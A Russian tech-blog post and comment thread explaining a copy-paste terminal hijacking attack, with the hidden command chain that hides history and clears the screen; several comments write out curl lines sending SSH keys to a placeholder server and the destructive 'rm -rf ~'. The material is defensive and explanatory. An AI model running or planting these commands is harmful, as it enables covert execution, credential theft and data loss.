Для чистоты эксперимента предлагаю перейти по ссылке и выполнить по указанной инструкции «установку полезных пакетов». Инструкция для владельцев Ubuntu.

По ссылке всего лишь «демонстрация» данного вида атаки, но в любом случае данные действия лучше производить на полигоне виртуалке.

Ниже описание того, что случилось, в том случае, если вы не поленились произвести указанные выше действия.

Небольшое предисловие: часто бывает что работая с мануалами по настройке сервера лень вписывать все команды вручную, особенно длинные. Так же большинство приложений для работы в консоле игнорируют вставку перевода строки и просто моментально выполняют код.
Что если при копировании на странице кода подменить его таким образом, что бы при вставке в консоль — автоматически исполнились нужные команды и нюанс составляет только то, каким образом скрыть от глаз пользователя плохой код.

В итоге пришла такая мысль:
1. Просим пользователя повысить привилегии до рута, что как бы вполне логично, учитывая дальнейшую установку пакетов.
2. Пишем длинную команду, заставляя тем самым пользователя скопировать (именно скопировать а не ввести код руками).
3. При копировании — буфер обмена подменяется связкой нужных для проведения атаки команд. А именно:
set +o history && echo 'echo you hacked!' > /tmp/test.sh && chmod +x /tmp/test.sh && /tmp/test.sh && printf "\033c" && set -o history
sudo su
apt-get update && apt-get install mc && apt-get install vim && apt-get install htop && apt-get install man


Разбор первой строки:
1. Отключаем историю введенных команд
set +o history

2. Собственно создание и исполнение вредоносного кода
echo 'echo you hacked!' > /tmp/test.sh && chmod +x /tmp/test.sh && /tmp/test.sh

3. Очистка консольного экрана (можно и clear)
printf "\033c"

4. Включаем обратно историю
set -o history


Вторая строка — запись в историю введенной раньше команды.
И собственно код полезной нагрузки.
В итоге (зависит от используемой консоли), при вставке скопированного кода непосредственно в консоль — выполнятся нежелательные команды, которые не отобразятся в истории и на экране.

Если все прошло как надо — по адресу /tmp/test.sh будет находится «зловред», который в момент вставки кода в консоль успешно выполнился.

В общем, используйте терминалы которые предупреждают о вставке кода с переводами строк и не вставляйте бездумно код с непроверенных источников. Для Windows есть ConEmu, который предупреждает о вставке подобного кода.

P.S Приведенный выше пример — всего лишь мои догадки о возможной проблеме. На практике с таким не сталкивался.
Статья написана только с целью предостеречь пользователей о таком, вполне возможном векторе атаки.


UPD. Спасибо ValdikSS за наводку thejh.net/misc/website-terminal-copy-paste. Обновил пример.

Хотелось бы так же услышать мнение пользователей, на сколько реальная угроза на практике. И заметили ли вы выполнение кода после вставки скопированной команды в консоль.
Заметили ли вы выполнение «вредоносного» кода после вставки команды в консоль?

Проголосовало 625 человек. Воздержалось 312 человек.

Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.

Комментарии (111)


  1. Tairesh
    17.01.2016 17:35
    +12

    Кто же под убунтой копирует текст из браузера в терминал, если можно просто выделить и средней кнопкой мыши в нём нажать!

    А по сабжу — банально нужно смотреть, что ты пишешь в консоль, если в какой-то статье будет «Введите в консоль sudo rm -rf ~ чтобы установить GTA5» это тоже угроза безопасности?


    1. ganjar
      17.01.2016 17:40
      +4

      1. Не все используют такой метод вставки команд, к тому же многие админят сервер из-под винды используя тот же PuTTY.
      2. Тут история в том — что ты как раз смотришь что копируешь, только скопированный текст будет отличатся от ожидаемого.


    1. qw1
      17.01.2016 17:44

      Должно работать с администраторами, которые сидят в Windows и копируют команды из браузера в терминал putty.
      Меня насторожило, что после выделения текста мышкой и выбора Copy из контекстного меню выделение пропало, обычно оно остаётся. Браузер Firefox.


      1. ganjar
        17.01.2016 17:50

        Сделал подмену стиля выделения. Да, действительно в Firefox не сработало. В хроме все ок.


      1. Lopar
        18.01.2016 11:47

        FF Developer Edition — выделение не пропадает.


        1. saboteur_kiev
          19.01.2016 04:38

          Я так понял, что пример обновили по совету ValdikSS, вот и не пропадает уже.


    1. kekekeks
      17.01.2016 21:43

      удалено


    1. amarao
      18.01.2016 00:22
      +2

      Средней кнопкой то же самое, кстати.


    1. Levhav
      18.01.2016 05:41
      +8

      Будучи только начинающим пользователем linux и ещё не зная всех команд я выполнил по чьему то гениальному совету с форума команду

      rm -rf ~
      что сбросить настройки compiz в значения по умолчанию. Совет конечно подействовал и настройки compiz реально сбросились, но это было хороший урок по восстановлению 6Гб фоток


      1. Mendel
        18.01.2016 14:21
        +5

        Патч Бримана это классика. Вроде как стыдно признаваться в том что попался. Но мне как-то не стыдно.
        Я в свое время попался. Под рутом естественно.
        И были не гифки а полноценный сервер на котором крутилась мини-атс с биллингом, ну и роутером работала потому что основная нагрузка на сеть была именно на атс.
        Попался я потому, что в аську мне ее кинул мой хороший знакомый админ которому я доверял гораздо большие вещи чем сервер.
        А он так пошутил потому что был уверен, что я более опытный чем на самом деле, и пойму шутку, а не буду ее выполнять.
        В принципе его понять можно, потому что опыт программирования у меня к тому времени был большой, я даже как-то кем-то командовать успевал, сервак в значительной мере сам перед этим поднял, по крайней мере телефонный софт собирал сам, железо для АТС настраивал сам, биллинг писал сам. А вот патч Бримана выполнил).
        Но сейчас это хорошее воспоминание.
        1 — меня еще в школе научили как обращаться с оружием, и я не могу сделать над собой усилие в тире, пластмассовыми пульками стрелять по мишеням, если в другой стороне, совсем-совсем сбоку, но на линии огня находится человек. Но вот то, что с кодом нужно так-же само, и нельзя надеяться на какие-то умолчания типа как тут «он же умный» — это я понял только в этой истории.
        2 — был интересный, чисто теоретический опыт, что после полной очистки файловой системы сервер продолжал работать. Не всё, но основные функции да.
        3 — эпичный для меня опыт воскрешения сервера в короткие сроки, когда мы с тем самым админом в четыре руки работали на горячем сервере. Тогда основной функционал восстановили часа за два. Потом упал основной канал интернета. В те годы резервом у нас был… диалап на ISA-шном модеме. Подняли канал на 28.8к. Я поигрался с кодеками. дальше картина: я лежу под столом на физической консоли воскрешаю целостность биллинга. Админ через putty качает какие-то пакеты, что-то обновляет и приводит в рабочее состояние. Качает. Звонок клиента. Коннект, всё ок. Второй звонок. Скорость скачивания упала в ноль. Но что-то качается. Админ даже что-то серфит. Всё это напомню на 28.8кбит. Потом этих клиентов опрашивали — сказали что связь была препоршивая, хотя разговаривать было возможно, но некомфортно, поэтому они поговорили коротко и отложили на потом.

        Но это сейчас, когда от фирмы уже не осталось ничего кроме горсти железа на чердаке… Сейчас забавно вспоминать. Тогда обидно было :)


        1. Chamie
          21.01.2016 16:22
          +1

          Патч Бримана
          Имеете в виду Патч Бармина?


          1. Mendel
            21.01.2016 17:52

            Да, конечно. Простите.


  1. Halt
    17.01.2016 17:35
    +7

    Забавно. Кстати, строка подменяется только если использовать буфер по Ctrl+C. А вот копирование-вставка через выделение и третью кнопку мыши работает, хотя именно он обычно используется активнее всего.


    1. ganjar
      17.01.2016 19:47
      +6

      Обновил пример. Теперь копипаст через «третью кнопку мыши» сработает, + не нужен JS.


      1. Halt
        17.01.2016 19:50
        +1

        Есть кстати еще один коварный момент. Если вставлять в конец дополнительный перенос строки, то при втыкании буфера в терминал, команда уже выполнится к тому моменту, когда незадачливый пользователь ее прочитает.


        1. ganjar
          17.01.2016 19:54
          +4

          Собственно это и должно произойти. apt-get update тоже не спроста добавлен именно в данный кусок кода. Он выполняется сразу за вредоносом и должен замести следы длинным выводом.


          1. xopkep
            19.01.2016 19:27

            А бы сделал сначала apt-get update, затем зловред и затем установку. Потому что например у меня, после apt-get update проходит значительное время всего с одной строкой чтения базы данных.


        1. destroy
          17.01.2016 23:21
          +2

          Для этого в продвинутых эмуляторах, например, ConEmu существует диалог подтверждения выполнения если вставлен перевод строки. Думаю в этих ваших линуксах тоже должно подобное быть.


      1. Tairesh
        17.01.2016 21:48
        -10

        У меня таки не срабатывает, потому что не bash, а fish, который в эти ваши && не понимает


        1. Prototik
          17.01.2016 23:58
          +18

          О, а вот и любители sh-несовместимых шеллов подоспели)


          1. Tairesh
            18.01.2016 07:21
            -5

            Вы так говорите, как будто это что-то плохое


  1. grossws
    17.01.2016 17:37

    Ваш вариант не работает со вторым буффером, но только с ctrl+c/ctrl+v.


  1. grossws
    17.01.2016 17:40

    Ещё бывают варианты с длинными строками в середине инструкции, который принципиально не отличается.


  1. Ovsiannikov
    17.01.2016 18:58

    несколько лет назад была подобная статья, с тех пор подозрительные копи/пасты через блокнот проверяю.
    И, кстати, не сработало т.к. Firefox+NoScript


  1. ValdikSS
    17.01.2016 19:21
    +9

    Ваш вариант не очень хороший.
    thejh.net/misc/website-terminal-copy-paste — вот этот не только работает с выделением и вставкой третьей кнопкой мыши, но и не теряет выделения при нажатии CTRL+C.


    1. ganjar
      17.01.2016 19:26
      +1

      Спасибо, интересное решение. В данном случае код скопируется даже при отключенном js.


  1. mva
    17.01.2016 20:08
    +17

    Не знаю. Возможно это влияние естественного отбора имени Gentoo, но я никогда не копипащу команды с сайтов.
    Сначала знакомплюсь с принципиальным смыслом статьи и, читая до конца вникаю в суть происходящего. Потом в консоли руками пишу нужные команды. Длинные команды вообще никогда некопипащу. Не знаю по какой причине.

    Кстати, то, что вы показали — ничто по сравнению с относительно довольно популярным в среде любителей «не думать, мы же не на экзамене»

    curl -sL <url> | sudo sh
    

    и его вариации (например brew.sh/linuxbrew )


  1. Gendalph
    17.01.2016 20:35
    -2

    Окей-окей, а что будет если:
    1. скопировать
    2. открываем редактор комманд
    EDITOR=vim fc
    3. пастим
    :+
    4. ???
    5. PROFIT

    Вопрос: на п.3 можно пропихнуть vim'у escape-sequence Esc-:q!\n?


    1. lolhunter
      17.01.2016 23:25

      Зачем так сложно? Можно же тупо в конец конфига дописать перенаправлением >>.


      1. Gendalph
        19.01.2016 00:43

        Прикол не в этом. Прикол в том, что если послать правильный escape-sequence, то можно выйти из любого редактора и всё равно выполнить что угодно. Пока проверить не дошли руки, но…


        1. lolhunter
          19.01.2016 09:54

          А не проще добавить в пользователей нужного пользователя с высокими правами, прописать его в sudoers и прислать на почту ip / логин / пароль?


          1. Gendalph
            20.01.2016 16:09

            Попробовал: толи у меня руки кривые, толи fc — валидная защита — не сработало.


  1. m0hn
    17.01.2016 20:49

    Возможно я не буду полностью прав.
    Обычно ИТ специалисты или те, кто лезет в командную строку по делу изучает команды которые вводит.
    Я сегодня словил себя за этим, когда изучал команды для поднятия L2TP на Mikrotik, хотя их использовать вовсе.
    Может стоит провести социальный эксперимент, который пакажет насколько это правда?


    1. Disen
      17.01.2016 21:01
      +9

      Обычно ИТ специалисты или те, кто лезет в командную строку по делу изучает команды которые вводит.

      А Вы наивный. IT-специалисты быть может и читают. Но далеко не все админы — IT-специалисты.


  1. valera5505
    17.01.2016 22:01
    +2

    Оба примера не работают, если выделять тройным кликом (я так делаю в случае длинных строк) — происходит выделение части строки, что может (и должно) вызвать подозрение


    1. ganjar
      17.01.2016 22:04

      FF — тройной клик отлично сработал, проблема в хроме.


      1. valera5505
        17.01.2016 22:05
        +6

        Или не проблема :) Смотря как относиться к этому.


  1. ganjar
    17.01.2016 22:04

    deleted


  1. RPG
    17.01.2016 23:02

    hotfix: перед вставкой кода напечатать ( или `.


  1. TimsTims
    17.01.2016 23:47
    +6

    Вообще терпеть не могу, когда сайты без спроса или скриптами меняют твой буфер обмена, причем браузер даже не пискнет! Если надо что-то скопировать — то я сам выделю то, что МНЕ надо и всё.

    Негодую и выражаю пожелание разработчикам браузеров что-то придумать с этим


    1. Lopar
      18.01.2016 11:53

      Если рассмотреть пример, то чисто технически — никакой подмены нет. Посмотрите исходный код. Вредоносный код присутствует в тексте, просто резко смещён за пределы экрана, при этом физически находясь на месте первого пробела. Если самостоятельно выделить первый пробел вы получите вредоносный текст. И это будет не подстановка — опять же технически вы сами его выделили и скопировали.


      1. ganjar
        18.01.2016 12:04

        Зависит от реализации. Первый вариант был с подменой на js — код подменялся в момент копирования. + в сss делалась подмена стиля выделения что бы не пропадало выделение после копирования.


  1. nazarpc
    17.01.2016 23:50
    +4

    Поэтому я сначала вставляю в текстовый редактор, а уже потом оттуда копирую если всё нормально на выполнение. И это только после проверки содержимого.


    1. Antelle
      18.01.2016 00:15

      Можно ещё на много невидимых редактором пробелов попасться, если wrap отключён (например, таких, которые редакторами не считаются whitespace-ами, но в терминале работают как пробел).


  1. amarao
    18.01.2016 00:23
    +12

    Fucking amazing. Пошёл репортить в багтрекер мозиллы.


  1. AlexGluck
    18.01.2016 00:27

    Есть такая мысль, что перед вставкой проще вставлять 2 символа комментария строки. Я вот поймал себя на мысли, что уже 5 лет после того как где то накосячил делаю именно так. После чего видим весь код который вставлен и читаем уже его. Замечания, конечно, что могут быть 2 перевода строки уместны, но копи-паст нужен только на тестовых стендах. В продакшен идёт только отработанные технологии.


  1. amarao
    18.01.2016 00:41
    +8

    1. saboteur_kiev
      18.01.2016 01:38
      +1

      А там уже duplicate и ссылка на https://bugzilla.mozilla.org/show_bug.cgi?id=504748 с RESOLVED WONTFIX…
      Видимо не понимают, кому и зачем это нужно.


      1. amarao
        18.01.2016 03:02
        +2

        Я почитал оригинальный баг — суть в том, что «page developer can always create invisible text — with 0 size, spacing, etc» — и по этой причине закрыли, мол, экзестенциальное и нефиксируемое.


    1. grieverrr
      19.01.2016 16:56
      -1

      **дичайший оффтоп**
      да ладно, охренеть, сёнен.ру? спасибо за счастливое онемедетство!


  1. J_o_k_e_R
    18.01.2016 01:35
    +1

    Код не сработал, не использую sudo и всегда копипасчу код, предварительно вставив #.


    1. amarao
      18.01.2016 03:00
      +6

      В конкретно этом примере вам нажмут «enter» и дадут другую команду на следующей строке. первая будет закомментирована, вторая выполнится.

      Наличие пароля на sudo —


      Я не уверен, что мой компьютер более ценен, чем мой $home.


      1. Mendel
        18.01.2016 14:27
        +1

        Эшелонированная оборона важна в том числе и с целью восстановления после прорыва первых эшелонов.
        Согласитесь, что компрометация рута увеличит масштаб и сроки ликвидации последствий компрометации почты, фейсбука и т.п.
        Вредоносы могут сидеть где угодно, но на системном уровне их сложнее выловить.
        Вспомнилась шутка:
        https://pp.vk.me/c631619/v631619221/b6ba/fjgVxmtiOEc.jpg


        1. amarao
          18.01.2016 15:44
          +2

          Компрометация root'а (обнаруженная) — это 15 минут на переустановку, возможно, даже с сохранением списка паролей и наиболее ценных конфигов.

          А вот компрометация home (ака спёртые пароли и ключи) — это катастрофа, последствия которой будут кусать несколько лет.


          1. Mendel
            18.01.2016 16:22

            Компрометация рута, если достаточно времени — гарантированно приведет в компрометации ВСЕХ пользователей системы.
            Вне зависимости от любых настроек. 15 минут на переустановку? А весь софт, все конфиги это всё заново пересобирать, перечитывать, это тоже в 15 минут уложится?
            Единственное преимущество в случае взлома рута это то, что его проще обнаружить, и есть высокий шанс, что атакующего кикнут быстрее чем он наломает дров.
            Понятно что есть куча вариантов сигнализации о подозрительной активности, в том числе и переопределение альясов шела, о котором уже упоминали в этом топике. Конечно есть бекапы, есть регулярный анализ логов и т.п. Но в чистом виде компрометация рута опаснее.


            1. amarao
              18.01.2016 17:31
              +1

              На домашней системе — ну сколько там системных конфигов-то? Я вот подумал-подумал, в моих домашних условиях — ну несколько mount'ов, настройки lightdm, да судо — и всё.

              Тут надо рассматривать два вектора атаки: на сервер и на рабочую станцию админа.

              На сервер: root — решает всё. Время восстановления обнаруженного компрометированного сервера — десятки минут (система управления конфигурациями, раскатывает всё с нуля). Ущерб — потенциальный ботнет и утечка данных с этого конкретного сервера. В 99% случаев ничего критического, максимум пара-тройка паролей к БД (которые быстро меняются и автоматически же раскатываются по остальным участникам процесса). Креденшалов сам сервер никаких не имеет, обычно всё по ключам, от которых у сервера нет приватных частей.

              На рабочую станцию: рут не играет ощутимой роли, компрометация (кража) креденшалов — катастрофа неясного масштаба, так как есть множество аккаунтов, информация о топологии сети и настройки доступа к многим частям сети.

              Пожалуй, я начну с большим уважением смотреть на аппаратный токен к VPN'у — его-то точно копипастом не сопрёшь.


      1. J_o_k_e_R
        18.01.2016 23:41

        Ну значит помимо # возьму на вооружение и копирование через блокнот.

        А про пароль на sudo и вообще отсутствие sudo я к слову сказал. Тут я с Вами согласен, что на рабочей машине /home/ важнее всего остального.


  1. Night_Snake
    18.01.2016 01:44
    +1

    С недавних пор почему-то вставляю команды через блокнот/gedit. В основном дабы оптимизировать/отредактировать под себя. А тут вон оно как…


  1. akrupa
    18.01.2016 02:33
    +2

    В опросе не хватает опции. «Я всегда сначала копирую команды в текстовый редактор.» Соответственно, все трюки с буфером были замечены до того, как попали консоль.


  1. alaska332
    18.01.2016 02:56

    Один из множества социальных хаков.
    К счастью нежизнеспособен, т.к. раскрутка контента для получения трафика админов, которые будут копипастить это в консоль, будет намного дороже выхлопа от захваченного сервера (в среднем).


    1. amarao
      18.01.2016 03:12
      +3

      В среднем — да. Но вот у нас в компании есть люди, у которых есть рутовый/равный рутовому через sudo доступ на несколько десятков тысяч серверов. С исходящими каналами в несколько десятков терабит с нескольких континентов и просторными ipv4-сетями. Очевидно, что один такой аккаунт ценнее, чем несколько тысяч «рутов на своих vds'ках», или домашних пользователей с adsl'ками.

      А ещё бывают сетевые администраторы. Или даже бэкоффис админы, которые имеют админский/рутовый доступ на компьютеры/сервера бухгалтерии, где тот или иной уровень к деньгам.

      А если подумать про админов платёжных систем, разработчиков ПО для банкоматов и их maintanance-команды…

      Короче, это атака не на «широкие массы», зато с потенциально очень большой глубиной проникновения.

      Потому что очевидное место, куда должен писаться скрипт (из примера) — не в /tmp/, а куда-нибудь в районе ~/.xinitrc, crontab, ~/.config/autostart/, ~/.config/autostart-scripts, etc.

      После этого скрипт очень аккуратно пытается подключиться к командному центру и дать возможность для анализа ~/.ssh/config админа (вуаля, на моей домашней машине — 163 строки, сколько на рабочем ноутбуке даже лениво считать, и половина из этого — с '*' в имени — то есть число машин очень обширно), и, можно сказать, deep penetration выполнен. Дальше нужно аккуратно стырить ssh-ключи с машины и проснифать пароли. (А рядом лежит gpg ключик, которому доверяют несколько роботов — он плюс пароль от него — ещё кусочек хаккерского счастья).

      Короче, это ОЧЕНЬ серьёзная атака на очень серьёзную часть современного IT.


      1. alaska332
        18.01.2016 13:31
        -3

        Вы вообще ничего не понимаете.
        Никто не анализирует взломанный сервер вручную. Это дебильое занятие и потеря времени.
        Если цель — именно эта компания и именно этот сервер — взламывать его через привлечение админа на ресурс и подсовывание ему комманд шлла никто не будет, вероятность — 0.

        1. метод не массовый;
        2. метод не подходит для таргетированного взлома;
        3. практической пользы 0;

        Почему вы решили, что ваши широкие ип4 адреса или каналы имеют какую-то ценность для хака? Вы считаете, что достаточно получить доступ к серваку и толстым каналом, хоть на час — и деньги сами потекут в руки?


        1. amarao
          18.01.2016 15:48
          +5

          С учётом, что статья может быть нацелена на конкретную группу админов (например, «скрипт для автоматической балансировки маршрутов к AS между несколькими аплинками»), процент успешных попаданий будет очень высок.

          Для таргетированного взлома очень даже подходит — натырил ~/.ssh/config, id_rsa, наснифал пароли — и всё, готовый суперботнет из роутеров и серверов.

          Мои каналы точно представляют ценность — просто уточните на чёрном рынке, сколько стоит DoS-атака на 40000Гбит/с на час.


      1. J_o_k_e_R
        18.01.2016 23:48

        Короче, это ОЧЕНЬ серьёзная атака на очень серьёзную часть современного IT.


        Эко ж Вас приторкнуло. Атака баян баяном. Я о ней услышал лет пять назад как минимум. Уже тогда баяном была.
        Помимо копирования через блокнот, это надо быть очень сильно упоротым (а нефиг вообще что-то в терминале делать, если Вы упоротый), чтоб не заметить, что у вас взял и просто так экран очистился. Вообще хорошим тоном считается просматривать вывод команд, которые Вы ввели. А если он (экран) взял и вдруг очистился без видимых на то причин, стоит нажать shift+pgup, экран пролистнуть, или что у Вас там.


        1. grossws
          18.01.2016 23:51
          +1

          А если он (экран) взял и вдруг очистился без видимых на то причин, стоит нажать shift+pgup, экран пролистнуть, или что у Вас там.
          Как это спасёт от malicious_code(); echo -en "\r<a lot of spaces>\recho \"valid command\"\n"?


          1. J_o_k_e_R
            18.01.2016 23:55

            Это уже интереснее. Тут вроде только копирование через блокнот поможет. Но это никак не отменяет то, что «скрытое» копирование из броузера — баянище дремучее.


  1. Wesha
    18.01.2016 03:46

    Сразу вспомнилось:

    Я – Чукотский вирус. В связи с очень плохим развитием информационных технологий на моей родине, я не могу причинить вред вашему компьютеру.
    Пожалуйста, будьте любезны, сотрите самостоятельно несколько важных файлов с жесткого диска, а затем перешлите меня своим друзьям.

    Заранее благодарен.
    Чукотский вирус.


    1. amarao
      18.01.2016 04:04
      +2

      О эти блаженные времена, когда текст был пассивным…


    1. TimsTims
      18.01.2016 10:31
      -12

      Вот только родина — это страна. У Чукотки родиной будет — это Россия. Т.е. вы сказали:
      «В связи с очень плохим развитием информационных технологий в России, я не могу причинить вред вашему компьютеру.»
      А я бы не сказал, что всё очень плохо в России…


      1. Tairesh
        18.01.2016 10:34
        +5

        «Когда государству от тебя что-то надо, оно начинает называть себя родиной»


      1. Wesha
        18.01.2016 10:37
        +6

        Госсподи, молодой человек, всюду Вам шпионы мерещатся.

        Никогда бы не подумал, что на Хабре найдутся люди, которым надо разъяснять анекдоты. Этот анекдот существует в миллионе разных вариаций — вирус был то нигерийский, то таиландский, то ещё какой — это в целом неважно; но его смысл в том, что «у <авторов вируса> программисты настолько никакие, что чем пытаться программу написать, проще вежливо попросить хозяина компа». А не в том, чтобы меряться пиписьками информационными технологиями.


        1. TimsTims
          18.01.2016 11:35
          -6

          Я в курсе, и тоже читал разные версии и смысл их понятен, просто версия про «нигерийский вирус» была веселее, чем шутка про Россию, которая в целом не соответствует действительности, и шутка таким образом не удалась.

          Это как сказать:
          «В связи с очень плохим развитием информационных технологий в [b]Соединенных Штатах Америки[/b], я не могу причинить вред вашему компьютеру. -Ваш АНБ.»
          Ну просто не смешно даже получается, я лишь про это имел ввиду. Неужели не понятно?


          1. bogolt
            18.01.2016 15:21
            +6

            Почему бы и нет? Например «у нас в Канзасе очень плохо с компьютерами, есть только старая печатная машинка у учительницы Доротти...»


          1. Wesha
            18.01.2016 19:24
            +1

            А Вы не можете представить себе ситуацию, что мне лень было вспоминать точный текст этого письма, я нагуглил фразу «пожалуйста сотрите несколько файлов», и что первое попалось, то и скопипейстил? Без единой задней мысли?

            В моё время патриоты с гранатами под танки бросались, а сейчас — с пеной у рта на анекдот. Тьфу.


  1. chelaxe
    18.01.2016 06:42

    Всегда веду файл инсталляции, в которой по порядку вношу все команды, которые собрался ввести и подправляю на свое усмотрение, и только потом топаю в консоль. Ну и бекапы, бекапы, бекапы!!!


    1. monah_tuk
      18.01.2016 07:44
      +2

      Помимо удаления и порчи информации, к сожалению, существует ещё и её кража. Никто не мешает даже без root в скрипте выполнить:

      curl -X POST -d @$HOME/.ssh/id_rsa http://server/page
      
      ну или что посложнее.


      1. Wesha
        18.01.2016 07:59
        +14

        Тут вспоминается старая шутка «UNIX — система, в которой не знаешь, как сегодня называется команда ls».

        И, кстати, в каждой шутке есть доля шутки. Помнится, лет 20 назад у нас в одной конторе на сервере команды ls, rm и т.д. были заменены скриптами, которые слали всем, кому положено, вопли о том, что «система зОхвачена врагами», а настоящие команды были переименованы во что-то другое, уже не помню что.

        (Ведь, как Вы понимаете, любой нормальный хакер, вломившись на сервер, первым делом «осматривается», и угадайте, какой командой...)


        1. monah_tuk
          18.01.2016 08:39

          Вы сделали мой понедельник! Спасибо :)


        1. JerleShannara
          18.01.2016 16:52
          +2

          О, а вот за эту идею спасибо, самое то для параноика.


        1. grieverrr
          18.01.2016 17:11
          +2

          Интересно, сколько раз эту «сигналку» случайно срывали в похмельный понедельник или запарную пятницу? Вангую, недолго музыка играла.


          1. Wesha
            18.01.2016 19:38

            Своевременно полученные трындюли (за ложную тревогу) замечательно способствуют выработке условного рефлекса.

            (Следует также заметить, что никто не запрещал админам на домашних машинах сделать так же и тренироваться на кошках вырабатывать привычку в повседневной жизни.)

            Кроме того, пищать начинало сначала у админов, поэтому в случае ложной тревоги спрашивалось «кто бросил валенок на пульт??» и распространение сигнала дальше отменялось.


        1. saboteur_kiev
          19.01.2016 05:08
          +1

          После годов доса и команды dir, мне ls был так непривычен, что первым делом на ЛЮБОМ линуксе, я делаю себе алиас для ls и юзаю уже именно его.


          1. Wesha
            19.01.2016 05:12

            Вот и я про то же: ну какой нормальный хакер сможет вообще догадаться, что на нашем сервере ls — это вовсе не ls, а скрипт «рятуйте, прихожане, нас взломали!» (тем более, что в конце он всё равно вызывает ls, чтобы не спугнуть взломщика)


          1. vlivyur
            19.01.2016 10:44

            В openSUSE он уже есть, выводит то же самое что и ls -l

            Program 'dir' is present in package 'coreutils', which is installed on your system.
            Absolute path to 'dir' is '/usr/bin/dir'. Please check your $PATH variable to see whether it contains the mentioned path.


      1. S0mnium
        18.01.2016 11:22
        +1

        Ну тогда уж

        tar /tmp/cvfz ssh.tar.gz ~/.ssh/ ; curl -X POST -d @/tmp/ssh.tar.gz http://server/page
        


        1. monah_tuk
          18.01.2016 11:27

          Это уже мелочи :) Можно в крон хоть rsync прописать.


    1. Wesha
      18.01.2016 07:54
      +1

      бекапы, бекапы, бекапы!!!
      Частые ZFS snapshots спасут отца русской демократии.


  1. S0mnium
    18.01.2016 11:19

    Давненько про такой же способ читал здесь же, на хабре. После этого взял за привычку копипастить сначала полный перечень в блокнот, а потом уже оттуда в консоль. Если вижу что-то подобное — сайт в бан.


    1. Stepanow
      18.01.2016 12:17
      +1

      Большинство новостных сайтов при копировании текста с них дописывают в конец что-то типа «Подробнее на newssite.ololo» и это вполне нормальная практика. Когда незадачливый копипастер невнимательно вставляет информацию на свою страничку или в форум, он делает источнику дополнительную рекламу.


  1. S0mnium
    18.01.2016 11:28

    Oh-my-zsh
    Установка:

    sh -c "$(curl -fsSL https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh)"
    


    На выходе в последующем он предлагает обновляться. Создаем нужный продукт, а в нужный момент просто подсовываем обновление.
    Вот тут действительно большое количество пользователей линукс даже не заметят подвоха.


  1. antiBILLotic
    18.01.2016 11:44

    Интересная штука получается, впредь буду внимательнее относиться к сетевым мануалам/форумам/HowTo и посмотрю в сторону NoScript. За описание спасибо.


    1. ganjar
      18.01.2016 11:48
      +2

      NoScript не спасет


    1. mtp
      18.01.2016 16:11

      NoScript не спасает, хотя очень полезная штука. Технически немного некорректно описано, не «буфер обмена подменяется», а «выделением захватывается невидимый глазом кусок текста».


  1. JerleShannara
    18.01.2016 16:58

    Не сработало, т.к. уж не знаю почему(вернее знаю, мне лет десять назад javascript-ом подсунули патч брамина), но для копипасты команд привык использовать lynx/links, а оно болт ложит на всякие хтмл5/цсс/жабаскрипт/фонтсайз=0.


    1. amarao
      18.01.2016 17:33

      Ага, ага, особенно с сайтов, которые контент без js'а показать не могут.


      1. JerleShannara
        18.01.2016 18:07

        Ну вот хз, пока не встречал такого(при копипасте). А копировать что-то с сайта, который кроме мануала ещё предлагает увеличить член, узнать, что за кровавое месиво было на евровидении и узнать как сделать так, чтобы машина кушала 1л бензина, брр, спасибо, у меня доверия к таким сайтам просто нет.


        1. amarao
          18.01.2016 19:19
          +1

          Зато есть доверие к умному бложику про настройку foo c поддержкой BarSQL. Более того, если бы я был автором злого червя, то я бы написал саморазмножающегося червя, использующего креденшалы взломанного пользователя для замены во всех постах во всех социальных сетях и бложиках unix-команд на сниппет, который выполняет оригинальную команду и запускает червя.


          1. JerleShannara
            18.01.2016 19:38

            Если в хау-ту с умного бложика виднеются странные комманды со скачиванием файлов фигзнает откуда и запуска скачанного и прочие странности без внятного объяснения — то это хауту идет в дупу бодрым шагом и ищется другое по настройке foo с поддержкой blackjack и прочих sql. Задача в том, чтобы посмотреть глазом, понять что оно этим делает, и далее для ускорения отупения это дело скопипастить. Если такого хауту не находится, то быдлохауту изучается подробно и исправляется, либо становится ясным, что быстрое развертнывание накрылось медным тазом.
            П.С. В продакшене оное я естественно применять не стану, предварительно едным тазом и пора курить мануалы.
            П.П.С. А вот что будет если какая-то «добрая» душа ломанёт офф. сайт дистрибутива с документацией и навставляет туда скрытых приколов? От такого вариант просмотра через тупой браузер очень даже поможет.


            1. amarao
              18.01.2016 21:50
              +1

              Виднеется? См пример в посте. В том-то и дело, что не виднеется.

              Я серьёзно. Просто попробуйте перейти по ссылке и посмотреть на то, что написано на странице.


              1. JerleShannara
                18.01.2016 23:46

                Ну перешел, и чего я там должен был пропустить?
                Или вы забыли, с чего начался наш с вами диалог?
                http://s019.radikal.ru/i632/1601/f5/2f50254ae552.png


    1. jnz
      19.01.2016 15:20
      +1

      Патч Бармина же.
      lurkmore.to/_/3454#mws_lKNAJDi


  1. grieverrr
    18.01.2016 17:21
    +1

    Не далее как месяц назад похожим образом был подломлен один лабаз, торгующий за биткойны. В буфер, перед актуальным кошельком получателя, из хидден спана прилетал адрес кошелька кулхакира, и в поле ввода адреса получателя вставлялся именно он. Просто и изящно.


  1. Mitch
    18.01.2016 20:22

    От этой «атаки» текстовый редактор спасает, через него делаю обычно.
    Но если сайт с инструкцией которую нагуглил админ подконтролен хакеру, то можно и тоньше сработать, так что блокнот не поможет.

    Хакер может сдалать свой «неофициальный репозитарий», каких тысячи, и в командах указать его добавление в источкники и установку из него.
    Аналогично просто свои .rpm, .deb итп.

    И оттуда может и искомый софт ставится, паралельно с установкой трояна, для того чтобы админ успешно протестировав решение с чистой совестью залил трояна на продакшен.

    Против этого — только выгугливать сайты с которых читаешь инструкции.
    А если это был только что скомпрометированный сайт, то и вообще никак.
    Из официальных репозиториев то то и дело что то недоступно к установке, и админ бродит по просторам ищет решение.


    1. amarao
      18.01.2016 21:52
      +1

      Есть тонкая разница между «доверьтесь этому ключу» и «вот эта безобидная команда посчитатет вам foo по bar». Глазами видно, что ничего страшного нет (и не echo test tes test, разумеется), а просто математика в цикле у for, например. А внутрях у неё (в копипасте) — добавление job'ы в crontab.


  1. hopungo
    19.01.2016 13:36

    Скопировал, вставил в блокнот. Что сказать, неплохо, попасться можно. С другой стороны, вряд ли кто-то так делает и вряд ли 1% от 1% от всех десктопных юзеров составят серьёзный ботнет. Но идея годная, хотя бы для троллинга. Знать такое – обязательно!


  1. webhamster
    21.01.2016 08:07

